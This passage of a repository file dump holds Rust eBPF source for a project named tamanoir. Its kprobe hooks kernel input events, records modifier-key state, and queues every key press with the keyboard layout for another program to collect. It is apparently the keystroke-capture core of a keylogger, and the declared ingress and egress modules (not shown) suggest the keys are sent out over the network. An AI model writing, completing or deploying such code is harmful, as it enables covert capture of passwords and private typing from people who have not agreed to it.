    "content": "use core::mem;\n\nuse aya_ebpf::{\n    macros::{kprobe, map},\n    maps::HashMap,\n    programs::ProbeContext,\n};\nuse aya_log_ebpf::debug;\n\nuse crate::common::{KeyEvent, DATA, KEYBOARD_LAYOUT};\nconst KEY_EVENT: u32 = 1;\nconst KEY_CODE_MAX: u8 = u8::MAX;\n\n#[derive(Clone, Copy)]\n#[repr(u8)]\nenum Modifiers {\n    LCtrl = 29,\n    LShift = 42,\n    RShift = 54,\n    Alt = 56,\n    Altgr = 100,\n}\nimpl Modifiers {\n    pub const LEN: usize = mem::size_of::<Modifiers>();\n    pub fn variants() -> &'static [Modifiers] {\n        &[\n            Modifiers::LCtrl,\n            Modifiers::LShift,\n            Modifiers::RShift,\n            Modifiers::Alt,\n            Modifiers::Altgr,\n        ]\n    }\n    pub fn from_id(id: u8) -> Option<Self> {\n        match id {\n            29 => Some(Self::LCtrl),\n            42 => Some(Self::LShift),\n            54 => Some(Self::RShift),\n            56 => Some(Self::Alt),\n            100 => Some(Self::Altgr),\n            _ => None,\n        }\n    }\n}\n\n#[map]\npub static MODIFIERS_STATE: HashMap<u8, u8> =\n    HashMap::<u8, u8>::with_max_entries(Modifiers::LEN as u32, 0);\n\n#[kprobe]\npub fn tamanoir_kprobe(ctx: ProbeContext) -> u32 {\n    match kprobe_process(ctx) {\n        Ok(ret) => ret,\n        Err(ret) => ret,\n    }\n}\n\nfn kprobe_process(ctx: ProbeContext) -> Result<u32, u32> {\n    let layout: u8 = unsafe { core::ptr::read_volatile(&KEYBOARD_LAYOUT) };\n    let event_type: u32 = ctx.arg(1).ok_or(0u32)?;\n    let code: u32 = ctx.arg(2).ok_or(0u32)?;\n    let value: u32 = ctx.arg(3).ok_or(0u32)?;\n\n    if event_type == KEY_EVENT && code <= KEY_CODE_MAX as u32 {\n        let code = code as u8;\n        if Modifiers::from_id(code).is_some() {\n            match value {\n                0 => MODIFIERS_STATE.remove(&code).map_err(|_| 1u32)?,\n                1 => MODIFIERS_STATE.insert(&code, &1, 0).map_err(|_| 1u32)?,\n                _ => {}\n            }\n        } else {\n            match value {\n                0 => {}\n                _ => {\n                    for modifier in Modifiers::variants() {\n                        let modifier = *modifier as u8;\n                        if unsafe { MODIFIERS_STATE.get(&modifier) }.is_some() {\n                            debug!(&ctx, \"mod: {} +\", modifier);\n                            let e = KeyEvent {\n                                layout,\n                                key: modifier,\n                            };\n                            let _ = DATA.push(&e, 0);\n                        }\n                    }\n                    debug!(&ctx, \"key: {}\", code);\n                    let e = KeyEvent { layout, key: code };\n                    let _ = DATA.push(&e, 0);\n                }\n            }\n        }\n    }\n\n    Ok(0)\n}\n"
  },
  {
    "path": "tamanoir-ebpf/src/lib.rs",
    "content": "#![no_std]\n\nmod kprobe;\n\nmod ingress;\n\nmod egress;\n\nmod common;\n"
  },
  {
    "path": "tamanoir-ebpf/src/main.rs",
    "content": "#![no_std]\n#![no_main]\n\npub mod kprobe;\n\npub mod ingress;\n\npub mod egress;\n\npub mod common;\n\n#[panic_handler]\nfn panic(_info: &core::panic::PanicInfo) -> ! {\n    unsafe { core::hint::unreachable_unchecked() }\n}\n"
  }
]